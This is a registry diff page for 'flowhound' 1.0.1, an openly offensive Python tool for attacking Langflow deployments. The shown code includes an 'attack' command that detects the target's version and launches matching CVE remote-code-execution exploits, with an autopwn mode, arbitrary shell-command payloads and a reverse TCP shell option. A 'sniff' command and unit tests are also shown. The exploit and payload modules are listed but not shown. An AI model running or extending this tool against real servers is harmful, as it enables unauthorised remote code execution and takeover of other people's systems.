flowhound 1.0.1__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (43) hide show
  1. flowhound/__init__.py +0 -0
  2. flowhound/__main__.py +28 -0
  3. flowhound/cli/__init__.py +0 -0
  4. flowhound/cli/banner.py +45 -0
  5. flowhound/cli/command.py +216 -0
  6. flowhound/cli/message_format.py +52 -0
  7. flowhound/cli/validators.py +39 -0
  8. flowhound/tests/__init__.py +0 -0
  9. flowhound/tests/test_base_exploit_class.py +124 -0
  10. flowhound/tests/test_command.py +262 -0
  11. flowhound/tests/test_cve.py +127 -0
  12. flowhound/tests/test_database.py +84 -0
  13. flowhound/tests/test_message_format.py +149 -0
  14. flowhound/tests/test_payloads.py +89 -0
  15. flowhound/tests/test_validators.py +106 -0
  16. flowhound/tests/test_version_detection.py +125 -0
  17. flowhound/vulnerabilities/__init__.py +0 -0
  18. flowhound/vulnerabilities/cve/__init__.py +0 -0
  19. flowhound/vulnerabilities/cve/cve.py +78 -0
  20. flowhound/vulnerabilities/exploits/__init__.py +0 -0
  21. flowhound/vulnerabilities/exploits/base_exploit_class.py +135 -0
  22. flowhound/vulnerabilities/exploits/cve_2026_0768.py +102 -0
  23. flowhound/vulnerabilities/exploits/cve_2026_10134.py +387 -0
  24. flowhound/vulnerabilities/exploits/cve_2026_18729.py +118 -0
  25. flowhound/vulnerabilities/exploits/cve_2026_19286.py +260 -0
  26. flowhound/vulnerabilities/exploits/cve_2026_19295.py +292 -0
  27. flowhound/vulnerabilities/exploits/cve_2026_5027.py +126 -0
  28. flowhound/vulnerabilities/exploits/cve_2026_7873.py +77 -0
  29. flowhound/vulnerabilities/exploits/cve_2026_9198.py +77 -0
  30. flowhound/vulnerabilities/io/__init__.py +0 -0
  31. flowhound/vulnerabilities/io/database.py +109 -0
  32. flowhound/vulnerabilities/io/version_detection.py +87 -0
  33. flowhound/vulnerabilities/payloads/__init__.py +14 -0
  34. flowhound/vulnerabilities/payloads/base_payload_class.py +23 -0
  35. flowhound/vulnerabilities/payloads/execute_bash_command.py +16 -0
  36. flowhound/vulnerabilities/payloads/reverse_tcp_shell.py +21 -0
  37. flowhound-1.0.1.dist-info/METADATA +193 -0
  38. flowhound-1.0.1.dist-info/RECORD +43 -0
  39. flowhound-1.0.1.dist-info/WHEEL +5 -0
  40. flowhound-1.0.1.dist-info/entry_points.txt +2 -0
  41. flowhound-1.0.1.dist-info/licenses/LICENSE +21 -0
  42. flowhound-1.0.1.dist-info/top_level.txt +2 -0
  43. scripts/validate_architecture.py +86 -0
flowhound/__init__.py ADDED
File without changes
flowhound/__main__.py ADDED
@@ -0,0 +1,28 @@
1
+ import logging
2
+
3
+ import click
4
+
5
+ from flowhound.cli.command import attack, sniff
6
+ from flowhound.cli.message_format import ClickLogHandler
7
+ from flowhound.vulnerabilities.io.database import Database
8
+
9
+ _logger = logging.getLogger("flowhound")
10
+ _logger.setLevel(logging.INFO)
11
+ if not _logger.handlers:
12
+ _logger.addHandler(ClickLogHandler())
13
+
14
+ CONTEXT_SETTINGS = {"help_option_names": ["-h", "--help"]}
15
+
16
+
17
+ @click.group(context_settings=CONTEXT_SETTINGS)
18
+ @click.pass_context
19
+ def main(ctx: click.Context):
20
+ ctx.ensure_object(dict)
21
+ ctx.obj = Database()
22
+
23
+
24
+ main.add_command(attack)
25
+ main.add_command(sniff)
26
+
27
+ if __name__ == "__main__":
28
+ main()
File without changes
@@ -0,0 +1,45 @@
1
+ from flowhound.cli.message_format import output_banner
2
+
3
+
4
+ def banner():
5
+ output_banner("""
6
+ ███████╗██╗ ██████╗ ██╗ ██╗ ██╗ ██╗ ██████╗ ██╗ ██╗███╗ ██╗██████╗
7
+ ██╔════╝██║ ██╔═══██╗██║ ██║ ██║ ██║██╔═══██╗██║ ██║████╗ ██║██╔══██╗
8
+ █████╗ ██║ ██║ ██║██║ █╗ ██║ ███████║██║ ██║██║ ██║██╔██╗ ██║██║ ██║
9
+ ██╔══╝ ██║ ██║ ██║██║███╗██║ ██╔══██║██║ ██║██║ ██║██║╚██╗██║██║ ██║
10
+ ██║ ███████╗╚██████╔╝╚███╔███╔╝ ██║ ██║╚██████╔╝╚██████╔╝██║ ╚████║██████╔╝
11
+ ╚═╝ ╚══════╝ ╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚═════╝
12
+
13
+ Sniffing Insecure Langflow Deployments
14
+
15
+
16
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣶⣾⣿⣿⣶⣦⡀
17
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄
18
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷
19
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
20
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏
21
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
22
+ ⠀⠀⠀⠀⠀⠀⠀⣀⣠⣤⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠏
23
+ ⠀⠀⠀⠀⠀⢀⣾⣿⣿⣿⣿⣿⣷⡄⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣏⠉
24
+ ⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄
25
+ ⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⠀⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷
26
+ ⠀⠀⠀⠀⠀⠀⠻⣿⣿⣿⣿⣿⢟⣥⣶⣶⣶⣄⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇
27
+ ⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣏⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
28
+ ⠀⠀⠀⠀⠀⠀⠀⠀⢘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇
29
+ ⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇
30
+ ⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇
31
+ ⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⠛⠛⠛⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁
32
+ ⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠁
33
+ ⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⠟⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠉
34
+ ⠀⠀⠀⠀⠀⠀⢰⣿⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠙⠛⠛⠛⣿⣿⣿⠋
35
+ ⠀⠀⠀⠀⠀⣰⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿
36
+ ⠀⢀⣠⣤⣴⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣿⣿⣇
37
+ ⣴⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⣿⣿⣿⣿⣷⡄
38
+ ⣿⣿⣿⣿⣿⣿⣿⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⣿⣿
39
+ ⢻⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⠃
40
+ ⠀⠙⢿⣿⣿⠿⠛⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢻⣿⣿⡛⠁
41
+ ⠀⠀⠈⢿⣿⣷⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⠿⠿⠆
42
+
43
+
44
+ Every Flow Leaves Tracks.
45
+ """)
@@ -0,0 +1,216 @@
1
+ import logging
2
+ from concurrent.futures import ThreadPoolExecutor
3
+ from concurrent.futures import TimeoutError as FutureTimeoutError
4
+
5
+ import click
6
+
7
+ from flowhound.cli.banner import banner
8
+ from flowhound.cli.validators import validate_proxy, validate_url
9
+ from flowhound.vulnerabilities.io.database import Database
10
+ from flowhound.vulnerabilities.io.version_detection import get_target_version
11
+ from flowhound.vulnerabilities.payloads import PAYLOAD_MAP
12
+
13
+ EXPLOIT_TIMEOUT = 60 # seconds before a single exploit attempt is abandoned
14
+ logger = logging.getLogger(__name__)
15
+
16
+
17
+ def _get_payload(cmd: str | None, reverse_shell: str | None):
18
+ payload = None
19
+
20
+ if cmd:
21
+ payload = PAYLOAD_MAP["command"](cmd=cmd)
22
+ logger.info(f"Using execute_bash_command payload: {cmd!r}")
23
+ elif reverse_shell:
24
+ try:
25
+ lhost, lport_str = reverse_shell.rsplit(":", 1)
26
+ lport = int(lport_str)
27
+ except ValueError:
28
+ raise click.BadParameter(
29
+ "--reverse_shell must be formatted as LHOST:LPORT (e.g. 192.168.1.10:4444)."
30
+ )
31
+
32
+ if not (1 <= lport <= 65535):
33
+ raise click.BadParameter("Port must be between 1 and 65535.")
34
+ payload = PAYLOAD_MAP["reverse_shell"](lhost=lhost, lport=lport)
35
+ logger.info(f"Using reverse_tcp_shell payload: {lhost}:{lport}")
36
+
37
+ return payload
38
+
39
+
40
+ def _execute_exploit(
41
+ exploit_module,
42
+ base_url: str,
43
+ username: str,
44
+ password: str,
45
+ proxies: dict[str, str] | None,
46
+ payload,
47
+ timeout: int = EXPLOIT_TIMEOUT,
48
+ ) -> bool:
49
+ """
50
+ Executes an exploit module with a cross-platform timeout.
51
+ """
52
+ with ThreadPoolExecutor(max_workers=1) as executor:
53
+ future = executor.submit(
54
+ exploit_module.exploit,
55
+ base_url=base_url,
56
+ username=username,
57
+ password=password,
58
+ proxies=proxies,
59
+ payload=payload,
60
+ )
61
+ return future.result(timeout=timeout)
62
+
63
+
64
+ @click.command(help="Launch one or more exploits against a Langflow instance.")
65
+ @click.option(
66
+ "--url",
67
+ required=True,
68
+ help="URL of target Langflow instance",
69
+ callback=validate_url,
70
+ )
71
+ @click.option(
72
+ "--username", required=False, default="", help="Target Langflow instance username"
73
+ )
74
+ @click.option(
75
+ "--password", required=False, default="", help="Target Langflow instance password"
76
+ )
77
+ @click.option(
78
+ "--autopwn",
79
+ required=False,
80
+ is_flag=True,
81
+ default=False,
82
+ help="Launch all available exploits, instead of stopping at first successful attempt.",
83
+ )
84
+ @click.option(
85
+ "--proxy",
86
+ required=False,
87
+ default=None,
88
+ help="HTTP(s) proxy to use for network I/O operations",
89
+ callback=validate_proxy,
90
+ )
91
+ @click.option(
92
+ "--command",
93
+ "cmd",
94
+ required=False,
95
+ default=None,
96
+ help="Shell command to execute on the target (uses execute_bash_command payload).",
97
+ )
98
+ @click.option(
99
+ "--reverse_shell",
100
+ required=False,
101
+ default=None,
102
+ help="LHOST:LPORT for a reverse TCP shell payload (e.g. 192.168.1.10:4444).",
103
+ )
104
+ @click.pass_context
105
+ def attack(
106
+ ctx: click.Context,
107
+ url: str,
108
+ username: str,
109
+ password: str,
110
+ autopwn: bool,
111
+ proxy: str,
112
+ cmd: str | None,
113
+ reverse_shell: str | None,
114
+ ):
115
+ banner()
116
+ db: Database = ctx.obj
117
+ has_credentials = False
118
+ logger.info("Checking target Langflow version.")
119
+
120
+ if cmd and reverse_shell:
121
+ raise click.UsageError("--command and --reverse_shell are mutually exclusive.")
122
+ if any([username, password]) and not all([username, password]):
123
+ raise click.BadParameter(
124
+ "`--username` and `--password` must be provided together."
125
+ )
126
+ elif username and password:
127
+ has_credentials = True
128
+ logger.warning(
129
+ "Langflow login credentials detected. Results will Include Auth RCE exploit modules."
130
+ )
131
+
132
+ proxies = {"http": proxy, "https": proxy} if proxy else None
133
+
134
+ # Determine payload to use
135
+ payload = _get_payload(cmd=cmd, reverse_shell=reverse_shell)
136
+
137
+ # Determine victim langflow version
138
+ try:
139
+ target_version = get_target_version(base_url=url, proxies=proxies)
140
+ except RuntimeError as e:
141
+ raise click.ClickException(f"Error retrieving target Langflow version: {e!s}")
142
+
143
+ # Determine vulns & corresponding exploit modules
144
+ try:
145
+ vuln_lst = db.retrieve_vulnerabilities(
146
+ target_version=target_version, is_auth=has_credentials
147
+ )
148
+ except Exception as e: # noqa: BLE001
149
+ raise click.ClickException(f"Error retrieving exploits: {e!s}")
150
+
151
+ # Fire exploits
152
+ logger.info(
153
+ f"{len(vuln_lst)} exploit(s) detected. Prioritizing unauth RCE exploits."
154
+ )
155
+ for vuln in vuln_lst:
156
+ click.echo("")
157
+ logger.info(
158
+ f"Launching exploit for {vuln.cve_id} that impacts Langflow versions {vuln.min_impacted_version} through {vuln.max_impacted_version}"
159
+ )
160
+ exploit_module = vuln.get_exploit_instance()
161
+
162
+ try:
163
+ result = _execute_exploit(
164
+ exploit_module=exploit_module,
165
+ base_url=url,
166
+ username=username,
167
+ password=password,
168
+ proxies=proxies,
169
+ payload=payload,
170
+ )
171
+ except FutureTimeoutError:
172
+ logger.warning(
173
+ f"Exploit for {vuln.cve_id} timed out after {EXPLOIT_TIMEOUT}s. Skipping."
174
+ )
175
+ result = False
176
+
177
+ if not autopwn and result:
178
+ logger.info("Exploitation successful. Stopping at first attempt.")
179
+ break
180
+
181
+
182
+ @click.command(help="Determine target Langflow version.")
183
+ @click.option(
184
+ "--url",
185
+ required=True,
186
+ help="URL of target Langflow instance",
187
+ callback=validate_url,
188
+ )
189
+ @click.option(
190
+ "--proxy",
191
+ required=False,
192
+ default=None,
193
+ help="HTTP(s) proxy to use for network I/O operations",
194
+ callback=validate_proxy,
195
+ )
196
+ @click.pass_context
197
+ def sniff(ctx: click.Context, url: str, proxy: dict[str, str] | None):
198
+ db: Database = ctx.obj
199
+
200
+ # Determine victim langflow version
201
+ logger.info("Checking target Langflow version.")
202
+ try:
203
+ target_version = get_target_version(base_url=url, proxies=proxy)
204
+ except RuntimeError as e:
205
+ raise click.ClickException(f"Error retrieving target Langflow version: {e!s}")
206
+
207
+ logger.info(f"Retrieving all known exploits for Langflow version {target_version}:")
208
+ try:
209
+ vuln_lst = db.retrieve_vulnerabilities(
210
+ target_version=target_version, is_auth=True
211
+ )
212
+ except Exception as e: # noqa: BLE001
213
+ raise click.ClickException(f"Error retrieving exploits: {e!s}")
214
+
215
+ for vuln in vuln_lst:
216
+ logger.info(vuln.exploit_module)
@@ -0,0 +1,52 @@
1
+ from __future__ import annotations
2
+
3
+ import logging
4
+ import sys
5
+ from typing import ClassVar
6
+
7
+ from click import echo, style
8
+
9
+
10
+ class ClickLogHandler(logging.Handler):
11
+ """
12
+ Routes standard logging records to click.echo with custom styling and prefixes.
13
+ """
14
+
15
+ LEVEL_STYLES: ClassVar[dict] = {
16
+ logging.DEBUG: {"fg": "cyan", "prefix": "[-] "},
17
+ logging.INFO: {"fg": "blue", "prefix": "[+] "},
18
+ logging.WARNING: {"fg": "yellow", "prefix": "[!] "},
19
+ logging.ERROR: {"fg": "red", "prefix": "[!] "},
20
+ logging.CRITICAL: {"fg": "red", "prefix": "[CRITICAL] ", "bold": True},
21
+ }
22
+
23
+ EXPLOIT_LOGGER_PREFIX = "flowhound.vulnerabilities.exploits"
24
+
25
+ def emit(self, record: logging.LogRecord):
26
+ try:
27
+ msg = self.format(record)
28
+ config = self.LEVEL_STYLES.get(
29
+ record.levelno, {"fg": "blue", "prefix": "[+] "}
30
+ ).copy()
31
+ if record.levelno == logging.INFO and record.name.startswith(
32
+ self.EXPLOIT_LOGGER_PREFIX
33
+ ):
34
+ config["fg"] = "green"
35
+ prefix = config.pop("prefix", "")
36
+ err_stream = record.levelno >= logging.ERROR
37
+
38
+ echo(
39
+ style(f"{prefix}{msg}", **config),
40
+ file=sys.stderr if err_stream else sys.stdout,
41
+ )
42
+ if err_stream:
43
+ sys.stderr.flush()
44
+ else:
45
+ sys.stdout.flush()
46
+ except Exception: # noqa: BLE001
47
+ self.handleError(record)
48
+
49
+
50
+ def output_banner(msg: str):
51
+ echo(style(msg, fg="cyan"), file=sys.stdout)
52
+ sys.stdout.flush()
@@ -0,0 +1,39 @@
1
+ import re
2
+ from urllib.parse import urlparse
3
+
4
+ import click
5
+
6
+
7
+ def validate_url(ctx, param, value) -> str:
8
+ try:
9
+ result = urlparse(value)
10
+ except Exception: # noqa: BLE001
11
+ raise click.BadParameter(f"Malformed URL: {value}")
12
+
13
+ if not result.scheme in ("http", "https") or not bool(result.netloc):
14
+ raise click.BadParameter(f"Malformed URL: {value}")
15
+
16
+ return value
17
+
18
+
19
+ def validate_proxy(ctx, param, value) -> dict | None:
20
+ if value is None:
21
+ return value
22
+
23
+ try:
24
+ result = urlparse(value)
25
+ except Exception: # noqa: BLE001
26
+ raise click.BadParameter(f"Malformed URL: {value}")
27
+
28
+ if not result.scheme in ("http", "https") or not bool(result.netloc):
29
+ raise click.BadParameter(f"Malformed URL: {value}")
30
+
31
+ return {"http": value, "https": value}
32
+
33
+
34
+ def validate_cve(ctx, param, value) -> str:
35
+ val_lowered = value.lower()
36
+ if value and not re.match("cve-\\d{4}-\\d{4,7}", val_lowered):
37
+ raise click.BadParameter("Must provide a correctly formatted CVE code.")
38
+
39
+ return val_lowered
File without changes
@@ -0,0 +1,124 @@
1
+ from unittest.mock import MagicMock, patch
2
+
3
+ import pytest
4
+
5
+ from flowhound.vulnerabilities.exploits.base_exploit_class import ExploitBaseClass
6
+
7
+ # ---------------------------------------------------------------------------
8
+ # Concrete stub — ExploitBaseClass is abstract
9
+ # ---------------------------------------------------------------------------
10
+
11
+
12
+ class ConcreteExploit(ExploitBaseClass):
13
+ def exploit(self, base_url, username, password, proxies=None, payload=None):
14
+ return True
15
+
16
+
17
+ # ---------------------------------------------------------------------------
18
+ # auto_login
19
+ # ---------------------------------------------------------------------------
20
+
21
+
22
+ def test_auto_login_success():
23
+ mock_resp = MagicMock()
24
+ mock_resp.status_code = 200
25
+ mock_resp.json.return_value = {"access_token": "test-token-abc"}
26
+
27
+ with patch(
28
+ "flowhound.vulnerabilities.exploits.base_exploit_class.get",
29
+ return_value=mock_resp,
30
+ ):
31
+ exploit = ConcreteExploit()
32
+ headers = exploit.auto_login(base_url="http://localhost:7860")
33
+
34
+ assert headers is not None
35
+ assert headers["Authorization"] == "Bearer test-token-abc"
36
+ assert headers["Content-Type"] == "application/json"
37
+
38
+
39
+ def test_auto_login_non_200_returns_none():
40
+ mock_resp = MagicMock()
41
+ mock_resp.status_code = 403
42
+ mock_resp.json.return_value = {}
43
+
44
+ with patch(
45
+ "flowhound.vulnerabilities.exploits.base_exploit_class.get",
46
+ return_value=mock_resp,
47
+ ):
48
+ exploit = ConcreteExploit()
49
+ result = exploit.auto_login(base_url="http://localhost:7860")
50
+
51
+ assert result is None
52
+
53
+
54
+ def test_auto_login_network_error_raises_runtime_error():
55
+ with patch(
56
+ "flowhound.vulnerabilities.exploits.base_exploit_class.get",
57
+ side_effect=ConnectionError("refused"),
58
+ ):
59
+ exploit = ConcreteExploit()
60
+ with pytest.raises(RuntimeError, match="Error querying API"):
61
+ exploit.auto_login(base_url="http://localhost:7860")
62
+
63
+
64
+ # ---------------------------------------------------------------------------
65
+ # authenticate
66
+ # ---------------------------------------------------------------------------
67
+
68
+
69
+ def test_authenticate_success():
70
+ mock_resp = MagicMock()
71
+ mock_resp.status_code = 200
72
+ mock_resp.json.return_value = {"access_token": "user-token-xyz"}
73
+
74
+ with patch(
75
+ "flowhound.vulnerabilities.exploits.base_exploit_class.post",
76
+ return_value=mock_resp,
77
+ ):
78
+ exploit = ConcreteExploit()
79
+ headers = exploit.authenticate(
80
+ base_url="http://localhost:7860", username="admin", password="secret"
81
+ )
82
+
83
+ assert headers is not None
84
+ assert headers["Authorization"] == "Bearer user-token-xyz"
85
+ assert headers["Content-Type"] == "application/json"
86
+
87
+
88
+ def test_authenticate_non_200_returns_none():
89
+ mock_resp = MagicMock()
90
+ mock_resp.status_code = 401
91
+ mock_resp.json.return_value = {"detail": "Unauthorized"}
92
+
93
+ with patch(
94
+ "flowhound.vulnerabilities.exploits.base_exploit_class.post",
95
+ return_value=mock_resp,
96
+ ):
97
+ exploit = ConcreteExploit()
98
+ result = exploit.authenticate(
99
+ base_url="http://localhost:7860", username="admin", password="wrongpass"
100
+ )
101
+
102
+ assert result is None
103
+
104
+
105
+ def test_authenticate_network_error_raises_runtime_error():
106
+ with patch(
107
+ "flowhound.vulnerabilities.exploits.base_exploit_class.post",
108
+ side_effect=ConnectionError("refused"),
109
+ ):
110
+ exploit = ConcreteExploit()
111
+ with pytest.raises(RuntimeError, match="Unable to authenticate with Langflow"):
112
+ exploit.authenticate(
113
+ base_url="http://localhost:7860", username="admin", password="secret"
114
+ )
115
+
116
+
117
+ # ---------------------------------------------------------------------------
118
+ # logger property
119
+ # ---------------------------------------------------------------------------
120
+
121
+
122
+ def test_logger_name_matches_module():
123
+ exploit = ConcreteExploit()
124
+ assert exploit.logger.name == ConcreteExploit.__module__